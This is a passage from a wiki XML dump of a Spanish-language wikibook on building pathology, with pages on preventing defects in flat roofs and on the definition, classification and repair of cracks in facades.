      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430081</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="575" sha1="dmuguebesguc3vp915u6oeb9miwnw26" xml:space="preserve">==Apeos de fachadas y huecos==

[[Patología de la edificación/Apeos/Consideraciones generales|Consideraciones generales.]]

[[Patología de la edificación/Apeos/Desplome de muros (solo tirantes)|Desplome de muros (solo tirantes)]] 

[[Patología de la edificación/Apeos/Descarga de muros|Descarga de muros]] 

[[Patología de la edificación/Apeos/Sujeción de fachadas|Sujeción de fachadas]] 

[[Patología de la edificación/Apeos/Apeos de huecos|Apeos de huecos]] 

[[Patología de la edificación/Apeos/Apeos de pórtico|Apeos de pórtico ]]

{{AutoCat}}
{{AutoCat}}</text>
      <sha1>dmuguebesguc3vp915u6oeb9miwnw26</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/Prevención</title>
    <ns>0</ns>
    <id>13672</id>
    <revision>
      <id>430166</id>
      <parentid>373564</parentid>
      <timestamp>2026-08-02T11:54:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430166</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="18736" sha1="1l5iz1enw4wgltlw80kume8rk6h25hz" xml:space="preserve">El estudio de los procesos patológicos y, sobre todo de sus causas, nos permiten  establecer un conjunto de medidas preventivas destinadas a evitar la aparición de nuevos procesos. En la prevención habrá que considerar, sobre todo, la eliminación de las causas indirectas, que afectan a la fase previa del proyecto y ejecución, así como al mantenimiento. 

Las causas indirectas son todos los factores inherentes a las unidades  constructivas, como la composición química, la forma o la disposición, y que se deben casi siempre a un diseño defectuoso o a una mala selección. Una causa indirecta no es suficiente para que se produzca un proceso patológico, en general se necesita la combinación de varias causas indirectas y de diferentes tipos. Estos tipos podrían clasificarse de la siguiente manera:

::* ''DE PROYECTO''. Se deben a errores en la elección del material, la técnica, el diseño y la disposición de los distintos elementos y unidades constructivas: La errónea elección del material o la falta de definición que conlleva un pliego de condiciones defectuoso e incompleto; la técnica y sistema constructivo inadecuado tanto en la elección del material como en la definición de la función que debe cumplir una unidad constructiva; el diseño defectuoso de un elemento constructivo, y la falta de estudio y diseño adecuados tanto de juntas como de materiales y elementos, que  producirá a la larga filtraciones, desplazamientos y grietas.

::* ''DE EJECUCIÓN''. Son aquellos factores que proceden de errores en la ejecución de una unidad constructiva y que no tienen relación con los errores de proyecto. Suelen, en líneas generales, ser debidos al incumplimiento de las condiciones técnicas (pliegos, especificaciones, normativas).

::* ''DE MATERIAL''. Son los factores que proceden de errores durante la fabricación de un material determinado y que producen la pérdida de las características correctas de dicho material. Si un material específico no cumple las características físicas, mecánicas y químicas necesarias para la misión constructiva que le corresponde, el proceso patológico surgirá más pronto o más tarde.

::* ''DE MANTENIMIENTO''. Son factores inherentes al mal uso de un edificio, por falta de un mantenimiento periódico apropiado o porque el edificio realiza funciones para las que no ha sido diseñado. En este tipo de causas en muy importante que el usuario tenga conciencia de que un correcto uso del edificio alargará su vida útil.

A continuación se exponen las posibles medidas preventivas que se podrían adoptar en la construcción de cubiertas planas, ordenadas según la lesión que pretenden paliar o evitar que se produzca en un futuro.


==MEDIDAS PREVENTIVAS PARA GRIETAS Y FISURAS==

Las grietas son aberturas longitudinales que afectan a todo el espesor de un elemento constructivo, estructural o de cerramiento y pueden ser de dos tipos
::* ''POR EXCESO DE CARGA''. Son las grietas que afectan a elementos estructurales o de cerramiento al ser sometidos a cargas para las que no estaban diseñados.
::*''POR DILATACIONES Y CONTRACCIONES HIGROTÉRMICAS''. Son las grietas que afectan sobre todo a elementos de cerramientos de fachada o cubierta, pero que también pueden afectar a las estructuras cuando no se prevén las juntas de dilatación. 

Las fisuras son aberturas longitudinales que afectan a la superficie o al acabado de un elemento constructivo. Aunque su sintomatología es similar a la de las grietas, su origen y evolución son distintos y en algunos casos se consideran una etapa previa a la aparición de las grietas. Subdividimos las fisuras en dos grupos
::* ''REFLEJO DEL SOPORTE''. Es la fisura que se produce sobre el soporte cuando se da una discontinuidad constructiva, por una junta, por falta de adherencia o por deformación, cuando el soporte es sometido a un movimiento que no puede resistir.
::* ''INHERENTE AL ACABADO''. En este caso la fisura se produce por movimientos de dilatación- contracción, en el caso de los chapados y de los alicatados, y por retracción, en el caso de morteros.

Los cambios de temperatura y humedad, acentuados en aleros y cornisas debido a su nivel de exposición, son el origen de grietas y fisuras en las cubiertas planas. Se pueden distinguir algunas variantes en función del elemento constructivo afectado, a saber
::* Grietas horizontales en el encuentro con forjado.
::* Grietas verticales en petos.
::* Fisuras en petos.

===GRIETAS HORIZONTALES===
La dilatación del elemento horizontal que recibe la radiación solar directa empuja al peto de fábrica que descansa sobre él o, por lo menos está en contacto, y lo rompe horizontalmente por su punto más débil. 
Para evitar esta lesión, convendría colocar una junta de dilatación perimetral, de un tamaño suficiente para poder dejar libre de movimiento al elemento horizontal. Si incluso con esta medida de juntas, aparecen grietas horizontales, se pueden aplicar varias medidas para prevenir que la grieta venga a más:
:-Marcando la grieta de una forma regular, como si se tratase de una junta de dilatación, con su correspondiente sellado.
:-Tapando la grieta con un nuevo elemento constructivo horizontal tipo imposta, colocado de tal manera que siga permitiendo el libre movimiento del faldón y nos tape y selle la grieta.
[[Imagen:jrc-planas1.gif|thumb|500px|left|none|Medidas preventivas a la aparición de grietas horizontales]]

===GRIETAS VERTICALES===
En petos de fábrica y hormigón. 
Estas grietas son consecuencia directa de la falta de juntas de dilatación verticales en los petos, ya que al contraerse la fábrica o el hormigón después de una dilatación, suelen abrirse verticalmente en zonas intermedias o en puntos más débiles (esquinas y uniones con pilastras o elementos estructurales), sobre todo en las orientaciones Este y Oeste, las más castigadas por los cambios de temperatura. También puede producirse esta lesión por movimientos elásticos de la estructura portante, por lo que habría que proyectar una estructura rígida que no permitiera estos movimientos, o bien la independencia entre estructura y peto.

===FISURAS EN PETOS===
Suelen aparecer, cuando se trata de materiales porosos, por cambios de humedad. Dichos componentes absorben el agua de lluvia y, al secar de un modo relativamente rápido debido a su nivel de exposición y a su estructura, provocan fisuras superficiales que pueden tener forma de mapa o vertical paralela.
La medida preventiva a adoptar, pasaría por utilizar '''revoques''' de muy bajo coeficiente de absorción, o incluso la aplicación de algún tipo de sellante o hidrofugante sobre el mismo revoco.
En zonas costeras donde el grado higrotermico es elevado, y  se utilizan piedras decorativas con  poro como remates de los mismos ancladas sobre hormigón; la armadura de anclaje acaba oxidandose , lo que se traduce en fisuras en la parte exterior y después desprendimientos

==MEDIDAS PARA PREVENIR DESGASTES Y DESPRENDIMIENTOS==

En las cubiertas planas, las erosiones afectan en mayor grado al pavimento de las terrazas y a las albardillas de los petos. Estas erosiones pueden ser mecánicas (producidas por el uso de las terrazas: rozamientos, golpes…), físicas (provocadas por agentes meteorológicos: lluvia infiltrada, agua helada…) o químicas (si existen contaminantes que ataquen a los componentes de estas piezas). Como vemos, las erosiones son causadas por el uso y el paso del tiempo, por lo tanto casi imposibles de evitar, por lo que la mejor medida preventiva es la realización periódica de inspecciones de mantenimiento para la reparación o sustitución de las piezas deterioradas, así como el empleo de materiales adecuados para soportar el uso continuo de estos elementos y así alargar su periodo de vida útil.

Un desprendimiento se puede definir como la separación incontrolada de un material de acabado o de un elemento constructivo del soporte o base al que estaba aplicado. En ocasiones, sin embargo, puede desprenderse también el material que constituye la fachada. Evidentemente, esta patología implica dos consecuencias distintas: el deterioro funcional y estético y el peligro que representan los desprendimientos cuando caen en zonas por donde suelen pasar personas o vehículos. Normalmente, esta lesión se produce como consecuencia de lesiones previas.  Por tanto, habrá que tener un especial cuidado en la realización de las partes de la cubierta que den a fachada, realizando correctamente los agarres entre elementos que constituyan el cerramiento. También es aconsejable la realización de inspecciones que prevean el riesgo de desprendimientos y así actuar antes de que estos ocurran.


==MEDIDAS PARA PREVENIR HUMEDADES==

La prevención de estas lesiones dependerá casi en su totalidad  de ciertos componentes del diseño: las pendientes de los faldones y su correcta distribución y los elementos de recogida y evacuación de aguas.

Las humedades específicas que constituyen procesos patológicos para este elemento constructivo son las humedades de filtración (que aparecen como consecuencia de la filtración de agua desde el exterior hacia el interior, produciendo goteras) y también las humedades de condensación.

===HUMEDAD POR FILTRACIÓN===
En las cubiertas planas la estanqueidad se basa en una membrana impermeable que resiste por si misma la filtración de agua y que permite su permanencia en la cubierta hasta que vaya drenando por los sumideros. La filtración del agua se produce por una de las siguientes causas, siempre y cuando existan fisuras, poros y/o brechas (ocasionadas por diversas causas):
:-Por gravedad
:-Por presión hidrostática
:-Por la presión del viento
:-Por la energía cinética de la caída del agua
:-Por capilaridad

Con el fin de asegurar la impermeabilidad y el drenaje de la cubierta, deben de tenerse en cuenta ciertos aspectos conflictivos:
:-Continuidad de la membrana impermeable por solape y soldadura adecuados (una solución para las juntas podría ser: introducir un perfil de espuma de polietileno como fondo de junta, sellarla con masilla tixotrópica y colocando una banda de lámina polimérica adherida a los labios de la junta y formando bucle, con una anchura de unos 25 centímetros), así como una selección correcta del tipo de membrana en función del clima y del nivel de exposición.
:-Independencia del tablero soporte de la membrana de la estructura y de los petos del edificio, con objeto de evitar esfuerzos de tracción. La impermeabilización horizontal debe ser independiente de la de los petos, protegiendo además esta discontinuidad mediante una zabaleta o mimbel perimetral; este solape deberá ser mayor de 15 centímetros.		-Se deben introducir juntas de dilatación tanto en el tableo soporte como en la membrana impermeable, en función del material utilizado y del clima del lugar.
:-Protección adecuada de la membrana impermeable, tanto ante la acción de la intemperie como a la de su uso. No es adecuado el uso de grava como relleno en cubiertas transitables, ya que pueden causar punzonamientos en la membrana impermeable; también hay que tener en cuenta el tránsito de personas en las cubiertas no transitables para funciones de mantenimiento, por lo que sería recomendable el uso de baldosas especiales que no dañen la membrana impermeable.
:-Solución adecuada de sumideros y un número suficiente de los mismos para asegurar un drenaje fácil. Los sumideros deben llevar piezas de protección para evitar que se obturen y es conveniente revisar la embocadura de los desagües después de que el operario suelde la lámina impermeable, sobre todo si es de plástico el desagüe, así como la unión de la embocadura del desagüe con el resto de la instalación.
:-Hay que tener precaución con los posibles anclajes que se puedan producir en la cubierta, ya que pueden producir perforaciones en la lámina impermeable, para lo que se deben proteger estos anclajes con un material impermeable flexible y compatible con el material de la lámina horizontal. Un especial cuidado requieren los anclajes de los tensores de las antenas de televisión, que provocan esfuerzos de tracción, factor que se puede solucionar colocándolos en dados de hormigón superpuestos al pavimento.       
:-Todos estos elementos deben revisarse y limpiarse periódicamente para asegurar su estanqueidad.
[[Image:jrc-planas2.gif|thumb|500px|right|Medidas constructivas preventivas a la aparición de filtraciones en cubiertas planas]] [[Imagen:jrc-planas3.gif|thumb|500px|left|detalles de juntas de dilatación]]
[[Imagen:jrc-planas4.gif|thumb|500px|right|Medidas constructivas preventivas a la aparición de filtraciones en cubiertas planas]]
[[Imagen:jrc-planas5.gif|thumb|500px|left|none|Los anclajes son puntos débiles, por donde se puede filtrar agua si no se resuelve correctamente]]

===HUMEDAD POR CONDESACIÓN===
Es la aparición de humedad en un cerramiento como consecuencia de la condensación del vapor de agua que tiende a atravesarlo para alcanzar, en algún punto de su recorrido la temperatura de saturación o de rocío en función de la presión de dicho vapor. Se pueden distinguir humedades de condensación de dos tipos:
::* De condensación superficial interior
::* De condensación intersticial dentro del cerramiento

Condensación superficial interior. Hay dos formas de evitar este tipo de humedades: aumentando la temperatura interior del local para que no se alcance la temperatura de rocío o bajando la presión del vapor de agua, ventilando el local. Por lo tanto, las medidas a adoptar serían las siguientes:
:-Colocación de aislamiento térmico en la cubierta 
:-Creación de cubiertas ventiladas.

Condensación intersticial. Se evitan aumentando la temperatura de la sección por encima de la temperatura de rocío o disminuyendo la presión de vapor, con lo que baja la temperatura de rocío. Para conseguir estos efectos, se deben adoptar las siguientes medidas:
:-Colocación de aislamiento térmico en la parte exterior de la cubierta.
:-Creación de cubiertas ventiladas.
:-Colocación de barrera de vapor en la cara inferior del faldón de la cubierta, previo estudio de si esta medida podría provocar condensaciones superficiales.

Otro tipo de humedades que se dan en las cubiertas planas, son las que se dan en las cornisas, pudiéndose distinguir varios casos en función del punto de aparición de la humedad 
[[Imagen:jrc-planas6.gif|thumb|500px|right|Sección adecuada para el detalle de albardilla]]
::* Por filtración por albardilla 
::* Por encuentro entre faldón y peto 
::* Por sumidero

Las medidas preventivas para evitar la filtración por albardilla, serán la elección de materiales y formas adecuados: materiales con un bajo nivel de absorción, con una pendiente adecuada para ayudar a resbalar el agua, solapados perfectamente con el plano vertical y con goterón para evitar que el agua resbale por los planos verticales; también hay que tener cuidado en colocar juntas de dilatación para evitar roturas por dilatación-retracción.
									
Las filtraciones en el encuentro de faldón y peto, se originan como consecuencia de unir sin solución de continuidad la membrana impermeable del faldón de la terraza con el peto. Para prevenir esta filtración, se debe proyectar una zabaleta perimetral, que haga independiente la impermeabilización del peto y faldón, pero quede totalmente solapada y protegida esta unión de láminas impermeables.

Las filtraciones por sumidero se deben por el mal funcionamiento del sistema de drenaje. Las medidas preventivas a tomar serán comprobar fehacientemente la correcta colocación de los sumideros y su solape con la lámina impermeable, así como un mantenimiento y limpieza periódicos que eviten el taponamiento del sumidero.


==MEDIDAS PREVENTIVAS EN DEFORMACIONES==

En este tipo de cubiertas, aparecen fundamentalmente flechas en el forjado sustentante, provocadas por la rotura o debilitación de la estructura.

La primera medida preventiva, sería claramente realizar bien el dimensionado de la estructura, para que en esta no aparezcan grandes flechas, ya que estas introducen peligrosos cambios de pendiente, que pueden generar embolsamientos de agua, con el consiguiente aumento de peso y riesgo de originar filtraciones.

Si a pesar de todo, aparecen flechas, hay que tomar medidas preventivas a la aparición de bolsas de agua, cambiando la pendiente de los faldones para asegurar el correcto drenaje de la cubierta.

==MEDIDAS PARA EVITAR EFLORESCENCIAS==

Las eflorescencias son la cristalización en la superficie de un material de sales solubles contenidas en el mismo. El fenómeno se produce cuando el agua que se halla en el interior de un material, y que contiene una solución de esas sales, se evapora de manera relativamente rápida. Ésta se suele manifestar en forma de manchas blancuzcas que afean el aspecto exterior de los cerramientos y deterioran el material (las eflorescencias pueden ocasionar desprendimientos).
	
La eflorescencia, es una lesión secundaria, que puede hacer acto de presencia, en aquellas zonas afectadas por humedades. Por lo tanto, como primeras medidas preventivas se adoptarán todas aquellas descritas para la prevención de humedades. Otra medida a seguir, sería el empleo de materiales con baja absorción de agua, ya que es muy difícil que en ellos aparezcan eflorescencias, al no absorber agua en su interior. Como última medida, también se podría imprimir una protección superficial hidrofugante mediante sellados o pinturas, acordes con el material soporte.


==MEDIDAS PREVENTIVAS ANTE ORGANISMOS Y SUCIEDADES==

Los organismos que pueden aparecer en las cubiertas planas, pueden ser de tres tipos:
::* Nidos de aves, colgando en las partes inferiores de molduras horizontales de las cornisas, con un efecto estético nocivo y con ocasionales erosiones químicas.
::* Colonias de mohos, también en la parte inferior de las molduras, y ocasionadas por humedad y porosidad adecuadas.
::* Musgos y gramíneas, que pueden aparecer en plataformas horizontales y rincones donde se acumule un volumen de tierra suficiente para enraizar.

La mejor medida preventiva para evitar la aparición de estos organismos, sería un mantenimiento, que estableciera una limpieza periódica que impidiera la acumulación de tierra en ciertas zonas, así como el establecimiento de nidos de aves. Para prevenir la aparición de moho, se llevarán a cabo las medidas preventivas para humedades, así como utilizar como sellante o acabado final pinturas fungicidas que dificulten la aparición de estas colonias.

{{AutoCat}}</text>
      <sha1>1l5iz1enw4wgltlw80kume8rk6h25hz</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas</title>
    <ns>0</ns>
    <id>13738</id>
    <revision>
      <id>430178</id>
      <parentid>417125</parentid>
      <timestamp>2026-08-02T11:56:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430178</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2264" sha1="emef74xg5i70yb10a2lhvycz9d1yhum" xml:space="preserve">'''GRIETAS Y FISURAS:'''
----
'''[[/Introducción|0.Introducción]]'''


'''[[/Definición y Tipología|1.DEFINICIÓN  Y TIPOLOGÍA]]'''

:1.0.	DEFINICIÓN


:1.1.	TIOLOGÍA DE LAS LESIONES SEGÚN EL MATERIAL

::1.1.1.	Fábricas

::1.1.2.	Acabados continuos

::1.1.3.	Acabados por elementos


:1.2.	TIPOLOGÍA DE LAS LESIONES SEGÚN LAS CAUSAS

::1.2.1.	CAUSAS MATERIALES: Acciones Exteriores Mecánicas

:::a)	Por fallo de asiento puntual

:::b)	Por fallo de asiento continuo

:::c)	Por empuje vertical según su localización

:::d)	Por empuje horizontal


::1.2.2.	CAUSAS MATERIALES: Esfuerzos higrotérmicos

:::a)	Cambios de temperatura

:::b)	Cambios del contenido de humedad


::1.2.3.	CAUSAS OPERATIVAS: Deficiencias de proyecto

:::a)	Uniones constructivas mal resueltas

:::b)	Falta de juntas de retracción

:::c)	Falta de limitación de flechas

:::d)	Cerramientos de poca resistencia mecánica


::1.2.4.	CAUSAS OPERATIVAS: Deficiencias de los materiales o de la ejecución

:::a)   De los materiales

:::b)   Defectos de la ejecución en general


'''[[/Inspección y control|2.INSPECCIÓN Y CONTROL]]'''

:2.1. Identificación de lesiones

:2.2. Evolución temporal

:2.3. Disposición constructiva

:2.4. Características físico-químicas

:2.5. Diagnóstico


'''[[/Reparación|3.REPARACIÓN]]'''

:3.1. Reparación de las causas

:3.1.1 De las acciones mecánicas

:3.1.2. De los esfuerzos higrotérmicos

:3.1.3. De los errores de proyecto

:3.1.4. De los defectos de los materiales o de la ejecución

:3.2. Reparación de la lesión


'''[[/Prevención|4.PREVENCIÓN]]'''

                                                                                                                                                         
'''BIBLIOGRAFÍA:'''

“Patología de cerramientos y acabados arquitectónicos”. Autor: Juan Monjo. Ed. Munilla-Lería, Madrid 1997. ISBN. 84-89150-12-5

“Curso de Patología y Restauración de edificios”. Tomo 1:.Capítulo de Cimentaciones y contenciones; asientos, grietas y fisuras,(información general). Ed. COAM 1991 ISBN: Tomo 1. 84-7740-041-5

“Curso de arquitectos expertos en mantenimiento y conservación de edificios”. Tema 2. Autor José Andrés Elizaga Corrales. Ed. COAM 1991

{{AutoCat}}</text>
      <sha1>emef74xg5i70yb10a2lhvycz9d1yhum</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas/Introducción</title>
    <ns>0</ns>
    <id>13739</id>
    <revision>
      <id>430185</id>
      <parentid>417081</parentid>
      <timestamp>2026-08-02T11:57:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430185</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="906" sha1="09994v0qqg0gj8glyf3snzavky2i0w5" xml:space="preserve">Dada su composición formal y material, los cerramientos y acabados arquitectónicos son sensibles a la aparición de cierto  tipo de lesiones por diferentes causas que provocarán la división del elemento unitario original en dos o más partes que actuarán de manera independiente tanto física como mecánicamente dificultando así su reparación definitiva, para lo cual será necesario realizar un correcto diagnóstico previo. Se tomarán medidas de prevención para evitar su aparición.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}</text>
      <sha1>09994v0qqg0gj8glyf3snzavky2i0w5</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas/Definición y Tipología</title>
    <ns>0</ns>
    <id>13740</id>
    <revision>
      <id>430187</id>
      <parentid>417091</parentid>
      <timestamp>2026-08-02T11:58:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430187</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="855" sha1="9weyw9usq3xzn63am60j5n8z8mg1gvl" xml:space="preserve">'''DEFINICIÓN:'''

Grietas: Todas aquellas aberturas incontroladas de un elemento superficial que afectan a todo su espesor.

Fisuras: Todas aquellas aberturas incontroladas que afectan solamente a la superficie del elemento o a su acabado superficial.


'''[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA/TIPOS|TIPOS:]]'''
En patología, los tipos de lesiones dependen de dos factores:

-de los materiales afectados

-de los procesos patológicos que las originan, las causas que las producen

----
'''GRIETAS'''

1.Definición y tipología

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}</text>
      <sha1>9weyw9usq3xzn63am60j5n8z8mg1gvl</sha1>
    </revision>
    <revision>
      <id>430190</id>
      <parentid>430187</parentid>
      <timestamp>2026-08-02T11:58:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430190</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="868" sha1="rt416rf2jjzs51fyl065yty0b0q3feh" xml:space="preserve">'''DEFINICIÓN:'''

Grietas: Todas aquellas aberturas incontroladas de un elemento superficial que afectan a todo su espesor.

Fisuras: Todas aquellas aberturas incontroladas que afectan solamente a la superficie del elemento o a su acabado superficial.


'''[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA/TIPOS|TIPOS:]]'''
En patología, los tipos de lesiones dependen de dos factores:

-de los materiales afectados

-de los procesos patológicos que las originan, las causas que las producen

----
'''GRIETAS'''

1.Definición y tipología

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>rt416rf2jjzs51fyl065yty0b0q3feh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas/Reparación</title>
    <ns>0</ns>
    <id>13744</id>
    <revision>
      <id>430189</id>
      <parentid>417087</parentid>
      <timestamp>2026-08-02T11:58:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430189</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3984" sha1="nov8su8hxz0c40waxbsi8t2v9qqi2jz" xml:space="preserve">'''3.REPARACIÓN:'''                                                                                                           
----


Dado que la grieta divide un elemento constructivo haciéndolo funcionar como dos independientes, a menos que el estado de cargas no varíe, la grieta sufrirá variaciones dimensionales y movimientos, a menos que se le impida, simplemente por su situación en el ambiente.
Para poder proceder a la reparación de una grieta se debe primero diagnosticar según las causas y luego según el tipo de lesión para poder estabilizarla correctamente, de este modo la movilidad de la grieta o fisura no superará una determinada dimensión.


'''3.1 REPARACIÓN DE LAS CAUSAS:'''

Será más difícil, por lo general, actuar sobre las causas materiales que hacerlo en las operativas. La actuación sobre la causa, en la mayoría de las operativas será posible y deberá ser conjunta con la reparación del efecto, mientras que la actuación sobre las materiales (eliminándolas) es posible sólo en las debidas a acciones mecánicas e implica una actuación independiente para la causa y el efecto.  


'''CM'''

'''3.1.1  De las acciones mecánicas:'''  

'''a)''' De las producidas por movimientos de la estructura soporte que origina grietas en el cerramiento habrá dos posibilidades:

-estabilización del movimiento de la estructura:

asientos &gt;&gt;recalzar

flechas de vigas o forjados &gt;&gt;refuerzo de su capacidad ante momentos positivos

pandeos &gt;&gt;refuerzo de la sección

-estabilización de los movimientos producidos por cambios de temperatura mediante la independencia entre la estructura y el cerramiento, con el establecimiento de una holgura suficiente, o con la colocación de un  aislamiento para la estructura que disminuya su dilatación.

'''b)''' De las acciones producidas por flechas en vigas y forjados.

-si se trata de un tabique interior  se limitará la flecha y se establecerá un sistema de apoyo que tenga rigidez propia
  
-si es un cerramiento de fachada se limitará la flecha y se independizará de la estructura haciéndolo pasante por delante de ésta.

'''c)''' Del empuje vertical que sobre un cerramiento bajo forjado o viga. Se independizarán las dos unidades constructivas ejecutando la unión con un mortero más débil capaz de comprimirse, evitando así la transmisión del esfuerzo al cerramiento.


'''3.1.2.  De los esfuerzos higrotérmicos:'''    

'''a)''' De las acciones originadas por la dilatación térmica del cerramiento mediante la independencia constructiva o la introducción de juntas de retracción

'''b)''' De las producidas por cambios de humedad según el caso específico 


'''CO'''                

'''3.1.3.  De los errores de proyecto:'''

Se corregirán los errores de proyecto especificados anteriormente según el caso.
                                                  
'''3.1.4.  De los defectos de los materiales o de la ejecución:'''

Se sustituirán los elementos defectuosos y dañados o se aplicarán productos que aporten nuevas características fisicoquímicas al material que permitan hacer frente a las causas directas que puedas provocar la lesión. En cualquier caso, se actuará directamente sobre el efecto.


'''3.2 REPARACIÓN DE LA LESIÓN:'''

Dependerá del tipo de construcción material y del tipo de lesión. Deberá conseguirse la reunificación de la unidad constructiva que ha quedado dividida para que vuelva a funcionar como una sola, para lo cual  la actuación deberá intervenir en toda la longitud y el espesor de la lesión rellenándola o sustituyendo parte (los elementos afectados) o todo el cerramiento.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

3.Reparación

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}</text>
      <sha1>nov8su8hxz0c40waxbsi8t2v9qqi2jz</sha1>
    </revision>
    <revision>
      <id>430192</id>
      <parentid>430189</parentid>
      <timestamp>2026-08-02T11:58:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430192</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3997" sha1="4gyd6hekawp5hv4ib356ff3bqzp5gqv" xml:space="preserve">'''3.REPARACIÓN:'''                                                                                                           
----


Dado que la grieta divide un elemento constructivo haciéndolo funcionar como dos independientes, a menos que el estado de cargas no varíe, la grieta sufrirá variaciones dimensionales y movimientos, a menos que se le impida, simplemente por su situación en el ambiente.
Para poder proceder a la reparación de una grieta se debe primero diagnosticar según las causas y luego según el tipo de lesión para poder estabilizarla correctamente, de este modo la movilidad de la grieta o fisura no superará una determinada dimensión.


'''3.1 REPARACIÓN DE LAS CAUSAS:'''

Será más difícil, por lo general, actuar sobre las causas materiales que hacerlo en las operativas. La actuación sobre la causa, en la mayoría de las operativas será posible y deberá ser conjunta con la reparación del efecto, mientras que la actuación sobre las materiales (eliminándolas) es posible sólo en las debidas a acciones mecánicas e implica una actuación independiente para la causa y el efecto.  


'''CM'''

'''3.1.1  De las acciones mecánicas:'''  

'''a)''' De las producidas por movimientos de la estructura soporte que origina grietas en el cerramiento habrá dos posibilidades:

-estabilización del movimiento de la estructura:

asientos &gt;&gt;recalzar

flechas de vigas o forjados &gt;&gt;refuerzo de su capacidad ante momentos positivos

pandeos &gt;&gt;refuerzo de la sección

-estabilización de los movimientos producidos por cambios de temperatura mediante la independencia entre la estructura y el cerramiento, con el establecimiento de una holgura suficiente, o con la colocación de un  aislamiento para la estructura que disminuya su dilatación.

'''b)''' De las acciones producidas por flechas en vigas y forjados.

-si se trata de un tabique interior  se limitará la flecha y se establecerá un sistema de apoyo que tenga rigidez propia
  
-si es un cerramiento de fachada se limitará la flecha y se independizará de la estructura haciéndolo pasante por delante de ésta.

'''c)''' Del empuje vertical que sobre un cerramiento bajo forjado o viga. Se independizarán las dos unidades constructivas ejecutando la unión con un mortero más débil capaz de comprimirse, evitando así la transmisión del esfuerzo al cerramiento.


'''3.1.2.  De los esfuerzos higrotérmicos:'''    

'''a)''' De las acciones originadas por la dilatación térmica del cerramiento mediante la independencia constructiva o la introducción de juntas de retracción

'''b)''' De las producidas por cambios de humedad según el caso específico 


'''CO'''                

'''3.1.3.  De los errores de proyecto:'''

Se corregirán los errores de proyecto especificados anteriormente según el caso.
                                                  
'''3.1.4.  De los defectos de los materiales o de la ejecución:'''

Se sustituirán los elementos defectuosos y dañados o se aplicarán productos que aporten nuevas características fisicoquímicas al material que permitan hacer frente a las causas directas que puedas provocar la lesión. En cualquier caso, se actuará directamente sobre el efecto.


'''3.2 REPARACIÓN DE LA LESIÓN:'''

Dependerá del tipo de construcción material y del tipo de lesión. Deberá conseguirse la reunificación de la unidad constructiva que ha quedado dividida para que vuelva a funcionar como una sola, para lo cual  la actuación deberá intervenir en toda la longitud y el espesor de la lesión rellenándola o sustituyendo parte (los elementos afectados) o todo el cerramiento.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

3.Reparación

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}

{{AutoCat}}</text>
